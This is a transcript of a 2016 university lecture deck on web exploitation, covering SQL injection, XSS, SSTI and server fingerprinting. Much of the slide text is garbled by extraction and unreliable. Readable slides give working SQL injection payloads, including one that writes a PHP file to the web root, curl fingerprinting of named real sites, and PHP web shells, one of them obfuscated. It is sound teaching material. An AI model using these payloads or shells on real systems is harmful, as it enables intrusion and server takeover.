Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Security - Exploits

Inndy
October 14, 2016

Web Security - Exploits

2016/Computer Security at National Taiwan University of Science and Technology (NTUST)

Inndy

October 14, 2016
Tweet

More Decks by Inndy

Other Decks in Technology

Transcript

  1. :,5b pR7 A½ R7 DNS R7 Webc' R7 Webâ R7

    *½ˆ– R7 Webèd ¬R7 ‘£Û R7 @fv¡ R7 XSS XXE SQL Injection CSRF 齡❉8FC)BDLJOH⚥涸㣼䪮帱䊫CZ0SBOHFIUUQTHPPHMW40D2I
  2. :,5b pR7 A½ R7 DNS R7 Webc' R7 Webâ R7

    *½ˆ– R7 Webèd ¬R7 ‘£Û R7 @fv¡ R7 Struts2 OGNL RCE Rails YAML RCE XSS UXSS Padding Oracle Padding Oracle XXE DNS Hijacking SQL Injection ShellShock FastCGI RCE NPRE RCE CSRF Bit-Flipping Attack 齡❉8FC)BDLJOH⚥涸㣼䪮帱䊫CZ0SBOHFIUUQTHPPHMW40D2I
  3. $PNNPO5ZQFPG7VMOFSBCJMJUZJO8FC"QQ ˙ -PHJD&SSPS ˙ 3BDF$POEJUJPO ".JTTJOH'VODUJPO-FWFM"DDFTT$POUSPM ˙ *OKFDUJPO ˙ 42-*OKFDUJPO

    944 99&*OKFDUJPO $NE*OKFDUJPO  ˙ .FNPSZ$PSSVQUJPO ˙ VOTFSJBMJ[F JO1)1 DBTFTUVEZ  ˙ %FOJFEP4FSWJDF ˙ 3FHFY%P4 -PHJD#VHMFBETUP*OOJUZ-PPQ
  4. 7VMOFSBCJMJUZ)VOUJOH ˙ 8IJUFCPY5FTU ˙ $PEF3FWJFX ˙ #MBDLCPY5FTU ˙ (VFTTBOEUSZUPJOKFDUTPNFUIJOHUPZPVSJOQVUFMET ˙

    (SBZCPY5FTU ˙ 8IJUFCPY #MBDLCPYUFTUXIFOZPVIBWFQBSUJBMPGTPVSDFDPEFPS PUIFSWFSTJPOPGTPVSDFDPEF
  5. 8IJUFCPY5FTU&TTFOUJBM4LJMMT5PPMT ˙ $BOZPVSFBEUIJTMBOHVBHF "SFZPVDPNQMFUFMZLOPXUIJTMBOHVBHF  ˙ *GOPU MFBSOJUBOENBTUFSJU ˙ $PNNBOEMJOFUPPMTPSZPVSGBWPSJUFNPEFSOUFYUFEJUPS

    ˙ 4PNFTVQFSDPPMVUJMTMJLF ˙ HSFQ BXL TFE OE ˙ .PEFSOUFYFEJUPSCVUOPUOPUFQBEXJUIPVU  ˙ 4VCMJNF5FYU 7JTVBM4UVEJP$PEF /PUFQBE 
  6. 8IJUFCPY5FTU-BOHVBHFGFBUVSF ˙ 8IBUTXSPOHXJUIUIFTFDPEF  • /* PHP */
 if(!strcmp($_POST['password'], "the

    secret password"))
 {
 echo "You are in!\n";
 } • # shell script
 cd "/home/$USER/data" && zip backup.zip *
  7. 3FHVMBS&YQSFTTJPO ^ABC -JOFTUBSUTXJUI"#$ DEF$ -JOFFOETXJUI%&' A+ 0OF"UPJOOJUZ" A* ;FSPUPJOOJUZ" A?

    ;FSPPSPOF" (ABC|DEF)? "#$PS%&'PSOPUIJOH \w "MQIBCFU %JHJUT 6OEFSMJOF . "OZDIBSBDUFS [i-k3-5OAQ] 0OFPGJ K L    0 " 2
  8. 8IJUFCPY5FTU 1)1 ˙ ,FFQBOFZFPOUIFDPEFXJUIUIFTFGVODUJPOT ˙ FYFDVUFTIFMMDPNNBOETZTUFN FYFD QBTTUISPV CBDLRVPUF ˙

    TRMRVFSZNZTRM@RVFSZ NZTRMJRVFSZ 1%0FYFDVUF  ˙ MFVQMPBENPWF@VQMPBEFE@MF @'*-&4 ˙ MFJODMVTJPOSFRVJSF SFRVJSF@PODF JODMVEF JODMVEF@PODF ˙ MFPQFSBUJPOGPQFO VOMJOL MF DPQZ SFOBNF  ˙ TFTTJPONBOBHFNFOU@$00,*& @4&44*0/ TFTTJPO@TUBSU 
  9. 8IJUFCPY5FTU "41/&5/&5.7$ ˙ ,FFQBOFZFPOUIFDPEFXJUIUIFTFGVODUJPOT ˙ FYFDVUFTIFMMDPNNBOE1SPDFTT4UBSU $SFBUF1SPDFTT  ˙ TRMRVFSZ$PNNBOE5FYU

     ˙ MFVQMPBE3FRVFTU'JMFT 1PTUFE'JMF ˙ MFPQFSBUJPO'JMF= 'JMF4ZTUFN=  ˙ TFTTJPONBOBHFNFOU4FTTJPO
  10. #MBDLCPY5FTU ˙ 8IBUUPJOKFDU  ˙ RTFDVSJUZ CVH ˙ R<>TFDVJSUZ CVH

    ˙ RPS ˙ R MTBM  ˙ RTDSJQUBMFSU  TDSJQU
  11. 8IBUCPY74#MBDLCPY ˙ #MBDLCPYNFUIPEDBORVJDLMZEFUFDUTPNFWVMOFSBCJMJUZ ˙ 42-*OKFDUJPO $NE*OKFDUJPO 8IBUFWFS*OKFDUJPO 944 FUD ˙

    .PTUPG08"415PQDBOCFEFUFDUFE ˙ #VUOPUHPPEBUMPHJDCVH DSZQUPGBJMT ˙ 8IJUFCPYNFUIPEDBOOEBMMCVHBOEWVMOFSBCJMJUZ ˙ *OOJUZUJNF JOOJUZCVH ˙ *UTWFSZIBSEUPEJHWVMOFSBCJMJUZJODPNQMFYBOEIVHFTZTUFN
  12. $PMMFDUJPO*OGPSNBUJPO ˙ 8IBUBSFXFJOUFSFTUFE  ˙ 8IBUUFDIOPMPHZTUBDLBSFPVSUBSHFUVTFE  ˙ 6OEPDVNFOUFEVOMJTUFE63-"1* ˙

    'VMMQBUIEJTDMPTVSF ˙ 7FSTJPODPOUSPMTZTUFNNBZDBVTFUPTPVSDFDPEFMFBLBHF ˙ 44-$FSUJDBUF
  13. 'JOHFSQSJOUJOH)5513FTQPOTF $ curl -I http://eyny.com/ HTTP/1.1 302 Found X-Powered-By: PHP/5.2.17

    Location: http://www67.eyny.com/index.php Content-type: text/html Date: Wed, 12 Oct 2016 16:32:22 GMT Server: Apache/2.0.59 1SFUUZPME1)1WFSTJPO "CPVUZFBSTPME
  14. 'JOHFSQSJOUJOH)5513FTQPOTF $ curl -I -k https://stu255.ntust.edu.tw/ntust_stu/stu.aspx HTTP/1.1 200 OK Date:

    Thu, 13 Oct 2016 03:10:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93 8JOEPXT4FSWFS /&5'SBNFXPSL 
  15. 44-$FSUJDBUF)PXEPFTJUXPSLT ˙ "TZNNFUSJD$SZQUPHSBQIZ1VCLFZ 1SJWLFZ ˙ &ODSZQUXJUI1VCLFZ EFDSZQUXJUI1SJWLFZ ˙ &ODSZQUXJUI1SJWLFZ EFDSZQUXJUI1VCLFZ

    ˙ 8FDBMMUIJTTJHOJOH ˙ &WFSZDFSUJDBUFIBTBBTZNNFUSJDDSZQUPLFZ ˙ :PVDBOVTFBDFSUUPTJHOBOPUIFSDFSU ˙ :PVSDPNQVUFSIBTTPNFCVJMUJOSPPUDFSU8FDBMMJU$" ˙ :PVUSVTUPOF$" UIFOZPVUSVTUUIFDFSUTTJHOFECZJU
  16. 944 ˙ )5.-*OKFDUJPO +BWB4DSJQU*OKFDUJPO ˙ $MPTFDVSSFOUBUUSJCVUFUBHBOEJOKFDUTPNFTDSJQU ˙ JNHTSDIUUQJNHVSDPN\*%^QOH ˙ QDMBTTNTH\.&44"(&^Q

    ˙ 5XP5ZQFT ˙ 3FFDUFE944944QBZMPBEGSPNUIFJOQVUFMET ˙ 4UPSFE944944QBZMPBETUPSFEPOUIFTFSWFS
  17. 42-*OKFDUJPO&YQMPJUT • SELECT * FROM users WHERE
 name = '{$USR}'

    AND password = '{$PWD}' • payload => ' or 2 <3# • result => SELECT * FROM users WHERE
 name = '' or 2 <3 #' AND password = 'asjdf'
  18. 42-*OKFDUJPO&YQMPJUT • SELECT * FROM users WHERE
 name = '{$USR}'

    AND password = '{$PWD}' • payload => ' UNION SELECT 1, 2, 3# • result => SELECT * FROM users WHERE
 name = '' UNION SELECT 1,2,3
 #' AND password = 'asjdf' 6/*0/4&-&$5
  19. 42-*OKFDUJPO&YQMPJUT • SELECT * FROM users WHERE
 name = '{$USR}'

    AND password = '{$PWD}' • payload => ' UNION SELECT 1,2,'<?php //bad' INTO 
 OUTFILE '/var/www/index.php'# • result => SELECT * FROM users WHERE
 name = '' UNION SELECT 1,2,'<php //bad' INTO
 OUTFILE '/var/www/index.php'
 #' AND password = 'asjdf' */50065'*-&
  20. 42-*OKFDUJPO&YQMPJUT • SELECT * FROM users WHERE
 name = '{$USR}'

    AND password = '{$PWD}' • payload => ' OR ASCII(SUBSTR(name, 1, 1)) > 64 # • result => SELECT * FROM users WHERE
 name = '' OR ASCII(SUBSTR(name, 1, 1)) > 64
 #' AND password = 'asjdf' #MJOE*OKFDUJPO
  21. 42-*OKFDUJPO&YQMPJUT • INSERT INTO users (id, name, password, is_admin)
 VALUES

    (NULL, '{$USR}', '{$PWD}', 0); • payload => inndy', 'pass', 1) # • result => INSERT INTO users
 (id, name, password, is_admin)
 VALUES (NULL, 'inndy', 'pass', 1) #', 'xxx', 0); *OTFSU
  22. 0QFO$5'ˋ.JTDSBOEEVNC ˙ IUUQTHJTUHJUIVCDPN*OOEZBDCGEEGCFGDDGF • /* TL; DR */
 var x

    = genearte_random_bytes(); // Buffer
 x = String.fromCharCode(x.length) + x; // String + Buffer = String
 var token = Base64.encode(x);
  23. 445* ˙ *UT UIFBHFPG.7$ ˙ #VHCPVOUZ+JOKB445*JO6CFSSFQPSUFECZ0SBOHF ˙ 5SFOEZJO$5'T ˙ 44$5''MBH.BO

    ˙ 4&$6*/4*%&4##4 ˙ )*5$0/$5'4FDVSF1PTU ˙ 4BOECPYNFDIBOJTNJONBOZUFNQMBUFFOHJOF  ˙ 4JNQMF5SJDL<>@@DMBTT@@@@NSP@@<>@@TVCDMBTTFT@@
  24. )PXUPXSJUFB1)1XFCTIFMM ˙ 5SJWJBM • <?php system($_GET['cmd']); ?> ˙ "MJUUMFDPOGVTF •

    <?php $_REQUEST[a]($_REQUEST[b]); ?> ˙ )FSFJTNZGBWPSJUF TIBSFXJUIZPV • <?php $a55="\x61ss"."ert";$a55($_REQUEST["a"]); ?>